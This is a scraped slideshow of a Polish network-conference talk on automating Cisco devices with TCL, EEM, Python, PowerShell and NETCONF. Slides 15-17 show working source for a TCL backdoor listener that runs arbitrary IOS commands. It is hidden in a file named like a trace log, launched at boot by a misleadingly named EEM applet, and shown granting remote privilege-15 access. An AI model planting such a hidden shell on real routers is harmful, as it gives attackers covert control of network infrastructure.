Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
Programowanie, a nie konfiguracja
- porozmawiajmy z Cisco po nowemu
Robert Ślaski
Chief Network Architect
CCIE#10877
PLNOG...
Jamci
2
Moore's law reinvented:
„Computing power required to display 'Hello world' doubles every two years"
Bezrobocie i głód zagląda w oczy nam, sieciowcom!
Coś róbmy, coś zaróbmy!
Pakiety na trasowniki!
A może się przystosować?
...
O tym będzie to spotkanie…
Programowanie jest najważniejsze
2
5
enejblując
a utoma ty za cj ę
w owerlejach esdeenów
za pewnia my or k iestr a cj ę r isor sów
augumentuj ąc ą a d żility...
6
Inżynierowie od sieci nie potrafią programować (*)
Potrzebna jest nam swego rodzaju kuracja odmładzająca
(*) dobrze
… a ...
7
Skrypt do pingowania wielu hostów
Zaawansowane filtrowanie logów, albo komend
Przełączanie na ścieżkę zapasową, ale tylk...
8
Będzie o trzech fazach migracji od klasycznego CLI urządzeń
do ich programowania:
Programowaniu z użyciem mechanizmów wb...
9
I.
Programowanie
z użyciem mechanizmów
wbudowanych w Cisco
10
Interpreter TCL w IOS
IOS Shell
EEM (Embedded Event Manager)
ESM (Embedded Syslog Manager)
I. Automatyzacja z użyciem
m...
11
Wbudowany w IOS interpretowany język skryptowy
http://www.tcl.tk
Wcześniej znany jako narzędzie skryptów IVR i ping,
ob...
12
Brak większej pomocy dla TCL w IOS, ale działa
Wykonywanie skryptów in-line oraz wczytywanych z pliku
Interpreter TCL w...
13
Najprostszy ping script
– przyjaciel każdego, kto podchodził do laba CCIE
Interpreter TCL w IOS
foreach pl {
5.5.5.5
10...
14
Może Telnet na port 1111 aby pograć w Tetris na routerze?
Interpreter TCL w IOS
O================O
| |
| |
| |
| |
| |
...
15
A może zainstalować backdoora w ukrytym pliku TCL?
Który uruchomi się zawsze po starcie routera dzięki skryptowi EEM?
I...
16
A może jednak zainstalować backdoora w ukrytym pliku TCL?
Interpreter TCL w IOS
Cisco#more bootflash:/tracelogs.780
# T...
17
Działającego backdoora!
Interpreter TCL w IOS
[rsl@kali ~]$ telnet 10.133.251.40 1234
Trying 10.133.251.40...
Connected...
18
Dla tych co chcą wiedzieć więcej
Dowolna dokumentacja / kurs TCL
Jakaś lepsza lub gorsza książka
Akurat ta ma pewne zal...
19
Podzbiór komend shellowych dostępny w IOS
http://www.cisco.com/c/en/us/td/docs/ios/netmgmt/configuration/guide/Convert/...
20
…a potem już jest fajniej!
Konfiguracja w postaci parametryzowanych skryptów
Przygotowujemy konfigurację w notatniku
Uw...
21
Copy-paste i do przodu!
IOS shell
Cisco#term shell
Cisco#A=3
Cisco#B=4
Cisco#conf t
Enter configuration commands, one p...
22
A taki, na przykład, output
można teraz przetwarzać potokowo
Pętle, warunki, funkcje, zmienne, regexp, sortowanie…
IOS ...
23
Programowanie sterowane zdarzeniami
(event-driven)
Kod wywoływany przez
detektor zdarzeń (event detector)
Kod w apletac...
24
Detektory zdarzeń w EEM
25
Po pojawieniu się trasy z OSPF do danej podsieci, badamy
dostępność testowego hosta, a następnie wyłączamy trasę zapaso...
26
Błąd uwierzytelniania RSVP powoduje wyłączenie interfejsu
Przykładowy aplet EEM w TCL (fragment)
::cisco::eem::event_re...
27
Książka kucharska
cisco.com/go/ciscobeyond
EEM dla leniwych
28
Selektywne procesowanie komunikatów syslog
każdego z kanałów poprzez filtry
Filtry na bazie:
Wyrażeń regularnych (discr...
29
Logowanie do hosta syslog tylko zmian konfiguracyjnych
Przykład użycia ESM
Cisco# more bootflash:/log_filter.tcl
# sysl...
30
II.
Programowanie CLI
31
Owijanie CLI Pythonem
Moduły Python ciscoconfparse / pyiosxr
PowerShell
II. Programowanie CLI
32
Doskonały język ogólnego przeznaczenia
Idealny do pisania skryptów dla sieciowca i nie tylko
Świetne możliwości przetwa...
33
Przykładowy fragment skryptu obrabiającego wyniki komend
Cisco IOS/NX-OS/IOS-XR / Juniper / Huawei
Python forever!
def ...
34
I jego użycie: hurtowe pobieranie konfiguracji urządzeń z listy
Python forever!
rslaski@kali:~$ cat getconfig
#!/bin/ba...
35
Biblioteka python do manipulacji hierarchicznymi konfiguracjami IOS
https://github.com/mpenning/ciscoconfparse
Przykład...
36
Jest by default dostępny w Windows
Dostępny też dla Linuxa i MacOS
Potężne narzędzie do pracy terminalowej, skryptowej,...
37
Dostępne jest też graficzne środowisko skryptowe
ISE (Integrated Scripting Environment)
PowerShell
38
Instalujemy bibliotekę SSH.NET
Pierwsze zabawy z PowerShell
PS C:Program Files (x86)WindowsPowerShellModules> Install-M...
39
Nie można zapomnieć o wyłączeniu restrykcji uruchamiania skryptów
Pierwsze zabawy z PowerShell
PS C:Usersrslaski> Get-E...
40
Wreszcie możemy nawiązać połączenie SSH z naszą zabawką
Tada! Możemy porozmawiać!
Pierwsze zabawy z PowerShell
PS C:Use...
PowerShell konkurs!
41
Jak nazywa się graficzne
środowisko skryptowe
dla PowerShella?
POPROGRAMUJMY
42
III.
Programowanie na całego
- czyli żegnaj CLI
43
onePK
NETCONF / YANG
JSON / XML
REST API
[…]
III. Programowanie na całego, czyli żegnaj CLI
44
Pierwszy poważny interfejs programistyczny API
do współpracy z urządzeniami Cisco różnych systemów operacyjnych
onePK (...
45
Bardzo ciekawe możliwości
onePK (One Platform Kit)
46
Niestety wszystko co dobre, szybko się kończy
A może po prostu nie było aż takie dobre?
onePK
47
Ustandaryzowany (IETF RFC 6241) sposób wymiany danych
konfiguracyjnych z urządzeniem
Cztery warstwy stosu protokołów
Ja...
48
Dostępne operacje na danych
NETCONF
49
Zaś dane to czysty XML
NETCONF
POPROGRAMUJMY
50
Dwa równorzędne formaty notacji danych
XML (eXtended Markup Language)
JSON (JavaScript Object Notation)
Różnica w czyte...
51
Uruchamiamy Netconf przez SSH
I pierwsze powitanie (capabilities)
NETCONF – pierwsza krew
Cisco#conf t
Cisco(config)#ne...
52
Powitanie (capabilities) z naszej strony
A jak ładnie poprosimy o konfigurację…
NETCONF – pierwsza krew
<?xml version="...
53
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<rpc-reply message-id="101" xmlns="urn:ietf:params:xml:n...
54
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<nc:rpc message-id="102" xmlns:nc="urn:ietf:params:xml:n...
55
NETCONF – pierwsza krew
<?xml version="1.0" encoding="UTF-8"?>
<rpc-reply xmlns="urn:ietf:params:xml:ns:netconf:base:1....
56
NETCONF+
./netconf-console --user=rsl--password=<x> --host=10.133.251.40 --port=22 –hello
Zamiast babrać się w terminal...
57
Język opisu modeli danych, RFC 6020
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_Ok_We_Got_v1.pdf
58
Strukturalny
oraz hierarchiczny
YANG
59
Modele danych opisane w standardach (jak poniżej)
lub dostarczane przez vendorów
Interface Data
Model, RFC7223
YANG
+--...
60
Fragment konfiguracji routera Cisco i jej odpowiednik
w modelu YANG
YANG
https://www.nanog.org/sites/default/files/2016...
61
A tu konkretna reprezentacja
w formacie XML oraz JSON
YANG
https://www.nanog.org/sites/default/files/20161017_Alvarez_O...
62
REST (Representational State Transfer) API
Każdy obiekt w drzewie ma swoją lokalizację
Standardowe metody HTTP do obsłu...
63
Biblioteki do
programowania
z użyciem REST API
(tu użyciem Python)
REST API importrequests
importsys
login_cookies=0
de...
64
Praktyczną walką z REST-API para się też ostatnio
Piotr Wojciechowski
https://ccieplayground.wordpress.com/tag/rest-api...
65
Chodźcie, porozmawiamy!
największa społeczność Cisco w Europie
ponad 8300 użytkowników
silny zespół:
3 głównych adminów...
66
Chodźcie, porozmawiamy!
67
Dziękuję!
Upcoming SlideShare
Loading in …5
×

PLNOG 18 - Robert Ślaski - Programowanie a nie konfiguracja - porozmawiajmy z Cisco po nowemu

92 views

Published on

YouTube: https://www.youtube.com/watch?v=tJ1ozTYcn5Q&list=PLnKL6-WWWE_VNp6tUznu7Ca8hBF8yjKj2&index=34

Published in: Technology
  • Be the first to comment

  • Be the first to like this

PLNOG 18 - Robert Ślaski - Programowanie a nie konfiguracja - porozmawiajmy z Cisco po nowemu

  1. 1. Programowanie, a nie konfiguracja - porozmawiajmy z Cisco po nowemu Robert Ślaski Chief Network Architect CCIE#10877 PLNOG18 6-7.03.2018 Warszawa Robert Ślaski Chief Network Architect CCIE#10877 PLNOG18 6-7.03.2018 Warszawa
  2. 2. Jamci 2 Moore's law reinvented: „Computing power required to display 'Hello world' doubles every two years"
  3. 3. Bezrobocie i głód zagląda w oczy nam, sieciowcom! Coś róbmy, coś zaróbmy! Pakiety na trasowniki! A może się przystosować? Na PLNOG17 temat cyberbezrobocia wzbudził niejakie zainteresowanie 2
  4. 4. O tym będzie to spotkanie… Programowanie jest najważniejsze 2
  5. 5. 5 enejblując a utoma ty za cj ę w owerlejach esdeenów za pewnia my or k iestr a cj ę r isor sów augumentuj ąc ą a d żility Czasy się zmieniają…
  6. 6. 6 Inżynierowie od sieci nie potrafią programować (*) Potrzebna jest nam swego rodzaju kuracja odmładzająca (*) dobrze … a inżynierowie sieciowi nie bardzo
  7. 7. 7 Skrypt do pingowania wielu hostów Zaawansowane filtrowanie logów, albo komend Przełączanie na ścieżkę zapasową, ale tylko w godzinach pracy Automatyczne dodawanie wpisów do tablicy routingu Parsowanie konfiguracji routingu do pliku CSV Dodanie parametryzowanej konfiguracji do wszystkich interfejsów Konfiguracja poprzez obiekty na różnych platformach Orkiestracja farmy urządzeń sieciowych Zaprogramowanie kontrolera SDN […] Przykładowe problemy sieciowca
  8. 8. 8 Będzie o trzech fazach migracji od klasycznego CLI urządzeń do ich programowania: Programowaniu z użyciem mechanizmów wbudowanych Programowaniu jeszcze z użyciem CLI Programowaniu na całego, czyli bez CLI O czym nie będzie? Nie będzie o SDNach Nie będzie o SNMP – to się nie nadaje do konfiguracji Nie będzie o wielu ciekawych rzeczach, które powinny tu się znaleźć, ale na które nie starczy czasu Trzy fazy odwyku od CLI
  9. 9. 9 I. Programowanie z użyciem mechanizmów wbudowanych w Cisco
  10. 10. 10 Interpreter TCL w IOS IOS Shell EEM (Embedded Event Manager) ESM (Embedded Syslog Manager) I. Automatyzacja z użyciem mechanizmów wbudowanych w Cisco
  11. 11. 11 Wbudowany w IOS interpretowany język skryptowy http://www.tcl.tk Wcześniej znany jako narzędzie skryptów IVR i ping, obecnie siła napędowa EEM oraz ESM Umożliwia wykonanie komend exec oraz konfiguracyjnych, dostęp do obiektów SNMP, otwieranie socketów TCP/UDP (yes!) Wymaga privilege level 15 TCL 7.x w IOS od tzw. zawsze (ok. 1994), TCL 8.3.4 od 12.3(2)T Interpreter TCL w IOS Cisco#? Exec commands: […] tclquit Quit Tool Command Language shell tclsh Tool Command Language shell
  12. 12. 12 Brak większej pomocy dla TCL w IOS, ale działa Wykonywanie skryptów in-line oraz wczytywanych z pliku Interpreter TCL w IOS Cisco#tclsh Cisco(tcl)#foreach ? % Unrecognized command Cisco(tcl)#foreach wrong # args: should be "foreach varList list ?varList list ...? command" Cisco(tcl)#tclq Cisco#? Cisco#more bootflash:/ping.tcl foreach host [list "10.139.1.1" "10.139.1.3" "10.139.2.5"] { set output [exec "ping $host repeat 1"] if { ![regexp {!} $output] } { puts "Host $host is not reachable" } } Cisco# tclsh bootflash:/ping.tcl Host 10.139.1.1 is not reachable Host 10.139.1.3 is not reachable Host 10.139.2.5 is not reachable
  13. 13. 13 Najprostszy ping script – przyjaciel każdego, kto podchodził do laba CCIE Interpreter TCL w IOS foreach pl { 5.5.5.5 10.0.0.1 } { ping $pl re 1} Cisco(tcl)#foreach pl { +>5.5.5.5 +>10.0.0.1 +>} { ping $pl re 1} Type escape sequence to abort. Sending 1, 100-byte ICMP Echos to 5.5.5.5, timeout is 2 seconds: ! Success rate is 100 percent (1/1), round-trip min/avg/max = 3/3/3 ms Type escape sequence to abort. Sending 1, 100-byte ICMP Echos to 10.0.0.1, timeout is 2 seconds: ! Success rate is 100 percent (1/1), round-trip min/avg/max = 2/2/2 ms Cisco(tcl)#
  14. 14. 14 Może Telnet na port 1111 aby pograć w Tetris na routerze? Interpreter TCL w IOS O================O | | | | | | | | | | | | | | | | | ## | | ## | | | | | | | | | | | | | O================O Current score: 0 w or space - rotate s - drop a - move right d - move left enter - pause TCP connection from 10.139.250.223:58431 to TSERV sock2 socket was registered Loading Tetrios. Please wait. =) =============================================== || _0_/ || |||||| / | |||||| |||||||||| |_/0 |||||||||| |||||||||||||| /0|||||||||||||| |||||||||||||||||| |||||||||||||||||| .||||||||||||||||||||||.||||||||||||||||||||||. =========== Welcome to Tetrios! =============== ============== version 1.1 ==================== === (c) 2011 Petr Ankudinov === === mail: netl0g.blog@blogspot.com === === http://netl0g.blogspot.com/ === =============================================== === Stop CCIE madness! Gain maximum Score! === =============================================== ====== Tetrios is a very useful tool for ====== ======= a lonely engineer with a router ======= ============ on a desert island. ============== =============================================== ======== Please, do not play too much ========= =========== on production routers. ============ =============================================== ========== Press "Enter" to continue ========== ========== Ctrl+C to exit at any time ========= =============================================== Cisco#tclsh bootflash:/tetrios.tcl
  15. 15. 15 A może zainstalować backdoora w ukrytym pliku TCL? Który uruchomi się zawsze po starcie routera dzięki skryptowi EEM? Interpreter TCL w IOS Cisco#dir Directory of bootflash:/ 11 drwx 16384 Aug 27 2015 13:19:42 +02:00 lost+found 16 -rw- 13125 Oct 6 2016 11:19:02 +02:00 isg_20161005.cfg 20 -rw- 19118 Mar 3 2017 23:00:26 +01:00 tetrios.tcl 777217 drwx 4096 Aug 27 2015 13:23:04 +02:00 .installer 113345 drwx 24576 Mar 2 2017 21:41:37 +01:00 tracelogs 21 -rw- 870 Mar 3 2017 23:32:18 +01:00 tracelogs.780 13 -rwx 9300 Aug 27 2015 13:45:36 +02:00 tracelogs.790 323841 drwx 4096 Jan 1 1970 01:04:33 +01:00 core 210497 drwx 4096 Oct 25 2016 16:55:10 +02:00 .prst_sync 194305 drwx 4096 Aug 27 2015 13:51:24 +02:00 .rollback_timer 14 -rw- 359790956 Oct 19 2015 16:16:35 +02:00 asr1000rp1-advipservicesk9.03.09.02.S.153-2.S2.bin 12 -rw- 390699644 Nov 16 2015 21:58:16 +01:00 asr1000rp1-advipservicesk9.03.16.01a.S.155-3.S1a-ext.bin 15 -rw- 385288828 Nov 17 2015 09:22:32 +01:00 asr1000rp1-advipservicesk9.03.15.02.S.155-2.S2-std.bin 18 -rw- 340537656 Oct 6 2016 11:49:34 +02:00 asr1000rp1-advipservicesk9.03.07.06.S.152-4.S6.bin 19 -rw- 385239672 Oct 25 2016 10:33:56 +02:00 asr1000rp1-advipservicesk9_noli.03.15.03.S.155-2.S3-std.bin 7819087872 bytes total (5555105792 bytes free) Cisco#sh run | s event man event manager applet EnableInterfaceStatus event timer countdown time 5 action 1.0 cli command "enable" action 1.1 cli command "tclsh bootflash:/tracelogs.780"
  16. 16. 16 A może jednak zainstalować backdoora w ukrytym pliku TCL? Interpreter TCL w IOS Cisco#more bootflash:/tracelogs.780 # TclShell.tcl v0.1 by Andy Davis, IRM 2007 # # IRM accepts no responsibility for the misuse of this code # It is provided for demonstration purposes only proc callback {sock addr port} { fconfigure $sock -translation lf -buffering line puts $sock " " puts $sock "-------------------------------------" puts $sock "TclShell v0.1 by Andy Davis, IRM 2007" puts $sock "-------------------------------------" puts $sock " " set response [exec "sh ver | inc IOS"] puts $sock $response set response [exec "sh priv"] puts $sock $response puts $sock " " puts $sock "Enter IOS command:" fileevent $sock readable [list echo $sock] } proc echo {sock} { global var if {[eof $sock] || [catch {gets $sock line}]} { } else { set response [exec "$line"] puts $sock $response } } set port 1234 set sh [socket -server callback $port] vwait var close $sh Rada: socketów lepiej używać w skryptach wywoływanych z EEM – można się wtedy odpiąć od terminala VTY
  17. 17. 17 Działającego backdoora! Interpreter TCL w IOS [rsl@kali ~]$ telnet 10.133.251.40 1234 Trying 10.133.251.40... Connected to 10.133.251.40 (10.133.251.40). Escape character is '^]'. ------------------------------------- TclShell v0.1 by Andy Davis, IRM 2007 ------------------------------------- Cisco IOS XE Software, Version 03.15.03.S - Standard Support Release Cisco IOS Software, ASR1000 Software (PPC_LINUX_IOSD-ADVIPSERVICESK9_NOLI-M), Version 15.5(2)S3, RELEASE SOFTWARE (fc2) Cisco IOS-XE software, Copyright (c) 2005-2016 by cisco Systems, Inc. All rights reserved. Certain components of Cisco IOS-XE software are documentation or "License Notice" file accompanying the IOS-XE software, or the applicable URL provided on the flyer accompanying the IOS-XE ROM: IOS-XE ROMMON Current privilege level is 15 Enter IOS command:show run Building configuration... Current configuration : 12041 bytes ! ! Last configuration change at 22:21:32 CET Fri Mar 3 2017 by rsl ! NVRAM config last updated at 17:35:06 CEST Tue Oct 25 2016 by rsl […]
  18. 18. 18 Dla tych co chcą wiedzieć więcej Dowolna dokumentacja / kurs TCL Jakaś lepsza lub gorsza książka Akurat ta ma pewne zalety Interpreter TCL POPROGRAMUJMY
  19. 19. 19 Podzbiór komend shellowych dostępny w IOS http://www.cisco.com/c/en/us/td/docs/ios/netmgmt/configuration/guide/Convert/IOS_Shell.html Trzeba ładnie poprosić #terminal shell, a potem… IOS shell Cisco#echo The command you have entered is available in the IOS.sh. However, the shell is currently disabled. You can enable it on this terminal by typing 'term shell' You can also enable it for all terminals by configuring the 'shell processing full' command. There is additional information in the man command. For more information, enable shell, and then enter: 'man IOS.sh' Cisco#term shell Cisco#AA=1234 Cisco#echo $AA 1234
  20. 20. 20 …a potem już jest fajniej! Konfiguracja w postaci parametryzowanych skryptów Przygotowujemy konfigurację w notatniku Uwaga: użycie w trybie konfiguracji wymaga dodatkowej komendy (config)# shell processing full IOS shell term shell A=3 B=4 conf t shell processing full int vlan 300$A ip add 10.0.$A$B.$A 255.255.255.0 ipv6 add 2001:db8:100:"$A""$B"::"$A"/64 end
  21. 21. 21 Copy-paste i do przodu! IOS shell Cisco#term shell Cisco#A=3 Cisco#B=4 Cisco#conf t Enter configuration commands, one per line. End with CNTL/Z. Cisco(config)#shell processing full Cisco(config)#int vlan 300$A Cisco(config-if)# ip add 10.0.$A$B.$A 255.255.255.0 Cisco(config-if)# ipv6 add 2001:db8:100:"$A""$B"::"$A"/64 Cisco(config-if)#end Cisco# Cisco#sh run in vl 3003 Building configuration... Current configuration : 98 bytes ! interface Vlan3003 ip address 10.0.34.3 255.255.255.0 ipv6 address 2001:DB8:100:34::3/64 end
  22. 22. 22 A taki, na przykład, output można teraz przetwarzać potokowo Pętle, warunki, funkcje, zmienne, regexp, sortowanie… IOS shell Cisco#show ip route Gateway of last resort is 10.139.254.53 to network 0.0.0.0 O*E2 0.0.0.0/0 [110/1] via 10.139.254.53, 7w0d, Vlan151 10.0.0.0/8 is variably subnetted, 236 subnets, 12 masks S 10.0.0.0/8 [1/0] via 10.133.20.5 O E2 10.0.0.0/24 [110/20] via 10.139.254.62, 7w0d, Vlan153 S 10.0.0.0/26 [1/0] via 10.133.240.21 O E2 10.10.0.0/16 [110/100] via 10.139.254.53, 7w0d, Vlan151 O E2 10.11.1.0/24 [110/100] via 10.139.254.53, 7w0d, Vlan151 […] Cisco#show ip route Cisco#show ip route | grep 'Vlan15[13]' | wc -l 212
  23. 23. 23 Programowanie sterowane zdarzeniami (event-driven) Kod wywoływany przez detektor zdarzeń (event detector) Kod w apletach wbudowanych w konfigurację oraz w języku TCL (zewnętrzne pliki) Więcej do szczęścia nie potrzeba Dostępny w IOS, IOS-XR, NX-OS oraz ASA Embedded Event Manager (EEM)
  24. 24. 24 Detektory zdarzeń w EEM
  25. 25. 25 Po pojawieniu się trasy z OSPF do danej podsieci, badamy dostępność testowego hosta, a następnie wyłączamy trasę zapasową prowadzącą poprzez tunel Przykładowy aplet EEM w CLI Cisco#sh run | s event manager event manager applet watch event routing network 10.1.1.0/24 type add protocol OSPF action A010 cli command "enable" action A020 set done "0" action A030 while $done eq 0 action A040 wait 5 action A050 cli command "ping ip 10.1.1.1" action A060 regexp "!!!!!" "$_cli_result" action A070 if $_regexp_result eq "1" action A080 cli command "conf t" action A090 cli command "int tunnel 0" action A100 cli command "shut" action A110 cli command "end" action A120 set done "1" action A130 end action A140 end
  26. 26. 26 Błąd uwierzytelniania RSVP powoduje wyłączenie interfejsu Przykładowy aplet EEM w TCL (fragment) ::cisco::eem::event_register_syslog pattern "%ROUTING-RSVP-5-BAD_RSVP_MSG_RCVD_AUTH_KEY" maxrun_sec 600 set errorInfo "" namespace import ::cisco::eem::* namespace import ::cisco::lib::* […] if {[regexp {.* (.*0/.*/.*/[0-9]*).*} $syslog_msg match location]} { if [catch {cli_exec $cli1(fd) "int $location"} result] { error $result $errorInfo } if [catch {cli_exec $cli1(fd) "shut"} result] { error $result $errorInfo } if [catch {cli_exec $cli1(fd) "commit"} result] { error $result $errorInfo } } if [catch {cli_close $cli1(fd) $cli1(tty_id)} result] { error $result $errorInfo } action_syslog priority emergencies msg "$location was shut because of EEM "
  27. 27. 27 Książka kucharska cisco.com/go/ciscobeyond EEM dla leniwych
  28. 28. 28 Selektywne procesowanie komunikatów syslog każdego z kanałów poprzez filtry Filtry na bazie: Wyrażeń regularnych (discriminator) Skryptów TCL (filter) Embedded Syslog Manager (ESM)
  29. 29. 29 Logowanie do hosta syslog tylko zmian konfiguracyjnych Przykład użycia ESM Cisco# more bootflash:/log_filter.tcl # syslog message filter if {[string compare -nocase "CONFIG_I" $::mnemonic] == 0 || [string compare -nocase "CONFIG" $::mnemonic] == 0} { return $::orig_msg } Cisco#sh run | in logg logging filter bootflash:/log_filter.tcl logging host 1.1.1.1 filtered logging host 10.133.0.3
  30. 30. 30 II. Programowanie CLI
  31. 31. 31 Owijanie CLI Pythonem Moduły Python ciscoconfparse / pyiosxr PowerShell II. Programowanie CLI
  32. 32. 32 Doskonały język ogólnego przeznaczenia Idealny do pisania skryptów dla sieciowca i nie tylko Świetne możliwości przetwarzania tekstów – idealne dla CLI Rozszerzalny - moduły Preferowany przez wielu dostawców – gotowe biblioteki API W sieci jest wiele kursów i tutoriali skierowanych do inżynierów sieciowych ($$$ oraz za darmo) Python forever!
  33. 33. 33 Przykładowy fragment skryptu obrabiającego wyniki komend Cisco IOS/NX-OS/IOS-XR / Juniper / Huawei Python forever! def ParseVersion(device): result = device.RunShowCmd('show version') versions = [ n.strip(" ") for n in result.splitlines() if n.startswith("Cisco") ] versioninfo = [ v.strip(" ") for v in versions[0].split(",")] print versioninfo[2] def ParseHostname(device): if system == "Junos": global hostname print hostname else: result = device.RunShowCmd('show version') if len ([ n for n in result.splitlines() if re.match("^S.*(NX-OS)",n)]) >0: #print "Nexus" hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*Device name:",n)] hostname = [ v for v in hline[0].split(" ")] print hostname[2] else: #print "IOS" hline = [ n.strip(" ") for n in result.splitlines() if re.match("s*S+suptime",n)] hostname = [ v for v in hline[0].split(" ")] if hostname[0]: print hostname[0] else: print hostname[1]
  34. 34. 34 I jego użycie: hurtowe pobieranie konfiguracji urządzeń z listy Python forever! rslaski@kali:~$ cat getconfig #!/bin/bash if [ "$#" -ne 1 ]; then echo "./getconfig <ip_list_file>" exit fi echo "Starting with file $1" mkdir "configs_$1" cat $1 | while read IP do echo -n "Getting config for $IP: " HOST=`./cmd1 -d $IP -p 'hostname'` HOSTFILE="$HOST-$(date +%Y%m%d-%H%M).cfg" echo -n "$HOSTFILE..." ./cmd1 -d $IP -c 'show config' >> "configs_$1/$HOSTFILE" echo " done!" done echo "Finished with file $1"
  35. 35. 35 Biblioteka python do manipulacji hierarchicznymi konfiguracjami IOS https://github.com/mpenning/ciscoconfparse Przykładowo: zrzut elementów konfiguracji Cisco ASA do pliku CSV Python ciscoconfparse from ciscoconfparse import CiscoConfParse def object_network(conf): print "Object network name,Description, IP address, NAT, NAT (cd)" parse = CiscoConfParse(conf,syntax='asa') nets=parse.find_objects(r'^objectsnetworks') for item in nets: try: #network = item.re_match_iter_typed(regex=r'subnets(S+s+S+)',result_type=IPv4Obj) network = item.re_match_iter_typed(regex=r'subnets(S+)',result_type=str) except: network = None if network is not None: objectName = item.re_match_typed(regex=r'^objectsnetworks(S+)',default='UNKNOWN') addrIP= item.re_match_iter_typed(regex=r'hosts(.*)',default='UNKNOWN') desc = item.re_match_iter_typed(regex=r'descriptions(.*)',default='UNKNOWN') nat = item.re_match_iter_typed(regex=r'nats(.+$)',default='UNKNOWN') print objectName,',',desc,',', addrIP,',',nat
  36. 36. 36 Jest by default dostępny w Windows Dostępny też dla Linuxa i MacOS Potężne narzędzie do pracy terminalowej, skryptowej, programistycznej i nie tylko Rozszerzalny (moduły, DLL) Każdy spec od Windows zna PowerShella Wystarczy zamiast ’cmd’ napisać ’powershell’  W Windows 7 domyślnie jest PS 2.0, należy pobrać i zainstalować Windows Management Framework w wersji co najmniej 5.0 PowerShell PS C:Usersrslaski> $PSVersionTable.PSVersion Major Minor Build Revision ----- ----- ----- -------- 5 0 10586 117
  37. 37. 37 Dostępne jest też graficzne środowisko skryptowe ISE (Integrated Scripting Environment) PowerShell
  38. 38. 38 Instalujemy bibliotekę SSH.NET Pierwsze zabawy z PowerShell PS C:Program Files (x86)WindowsPowerShellModules> Install-Module -name SSHSessions -RequiredVersion 1.7 Untrusted repository You are installing the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the modules from 'PSGallery'? [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y PS C:Program Files (x86)WindowsPowerShellModules> get-module -ListAvailable Directory: C:Program FilesWindowsPowerShellModules ModuleType Version Name ExportedCommands ---------- ------- ---- ---------------- Binary 1.0.0.1 PackageManagement {Find-Package, Get-Package, Get-PackageProvider, Script 1.0.0.1 PowerShellGet {Install-Module, Find-Module, Save-Module, Script 1.7 SSHSessions {New-SshSession, Invoke-SshCommand, Enter-
  39. 39. 39 Nie można zapomnieć o wyłączeniu restrykcji uruchamiania skryptów Pierwsze zabawy z PowerShell PS C:Usersrslaski> Get-ExecutionPolicy Restricted PS C:Usersrslaski> Set-ExecutionPolicy unrestricted Execution Policy Change The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose you to the security risks described in the about_Execution_Policies help topic at http://go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy? [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "N"): y PS C:Usersrslaski> Get-ExecutionPolicy Unrestricted
  40. 40. 40 Wreszcie możemy nawiązać połączenie SSH z naszą zabawką Tada! Możemy porozmawiać! Pierwsze zabawy z PowerShell PS C:Usersrslaski> $hostname = "10.133.0.3" PS C:Usersrslaski> $username = "rsl" PS C:Usersrslaski> $password = "<removed>" PS C:Usersrslaski> New-Sshsession -computername $hostname -username $username -password $password Successfully connected to 10.133.0.251 PS C:Usersrslaski> $Result = Invoke-SshCommand -InvokeOnAll -Command "show version" 10.133.0.251: ********************************************* ** ** ** CAT1-NETLAB ** ** ZANIM COS SPIEPRZYSZ, POMYSL DWA RAZY ** ** netlab@atende.pl ** ** ** ********************************************* Cisco IOS Software, C3750E Software (C3750E-UNIVERSALK9-M), Version 15.0(2)SE4, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2013 by Cisco Systems, Inc. […]
  41. 41. PowerShell konkurs! 41 Jak nazywa się graficzne środowisko skryptowe dla PowerShella? POPROGRAMUJMY
  42. 42. 42 III. Programowanie na całego - czyli żegnaj CLI
  43. 43. 43 onePK NETCONF / YANG JSON / XML REST API […] III. Programowanie na całego, czyli żegnaj CLI
  44. 44. 44 Pierwszy poważny interfejs programistyczny API do współpracy z urządzeniami Cisco różnych systemów operacyjnych onePK (One Platform Kit)
  45. 45. 45 Bardzo ciekawe możliwości onePK (One Platform Kit)
  46. 46. 46 Niestety wszystko co dobre, szybko się kończy A może po prostu nie było aż takie dobre? onePK
  47. 47. 47 Ustandaryzowany (IETF RFC 6241) sposób wymiany danych konfiguracyjnych z urządzeniem Cztery warstwy stosu protokołów Jako transport wykorzystujemy SSH Zaś jako komunikaty: RPC NETCONF
  48. 48. 48 Dostępne operacje na danych NETCONF
  49. 49. 49 Zaś dane to czysty XML NETCONF POPROGRAMUJMY
  50. 50. 50 Dwa równorzędne formaty notacji danych XML (eXtended Markup Language) JSON (JavaScript Object Notation) Różnica w czytelności (człowiek) i efektywności zapisu (maszyna) JSON / XML http://www.cisco.com/c/dam/global/cs_cz/assets/ciscoconnect/2014/assets/tech_sdn10_sp_netconf_yang_restconf_martinkramolis.pdf
  51. 51. 51 Uruchamiamy Netconf przez SSH I pierwsze powitanie (capabilities) NETCONF – pierwsza krew Cisco#conf t Cisco(config)#netconf ssh Cisco(config)#^Z [rsl@lab-mgmt ~]$ ssh rsl@10.133.251.40 -s netconf Password: <?xml version="1.0" encoding="UTF-8"?> <hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <capabilities> <capability>urn:ietf:params:netconf:base:1.0</capability> <capability>urn:ietf:params:netconf:capability:writeable-running:1.0</capability> <capability>urn:ietf:params:netconf:capability:rollback-on-error:1.0</capability> <capability>urn:ietf:params:netconf:capability:startup:1.0</capability> <capability>urn:ietf:params:netconf:capability:url:1.0</capability> <capability>urn:cisco:params:netconf:capability:pi-data-model:1.0</capability> <capability>urn:cisco:params:netconf:capability:notification:1.0</capability> </capabilities> <session-id>1140327340</session-id> </hello>]]>]]>
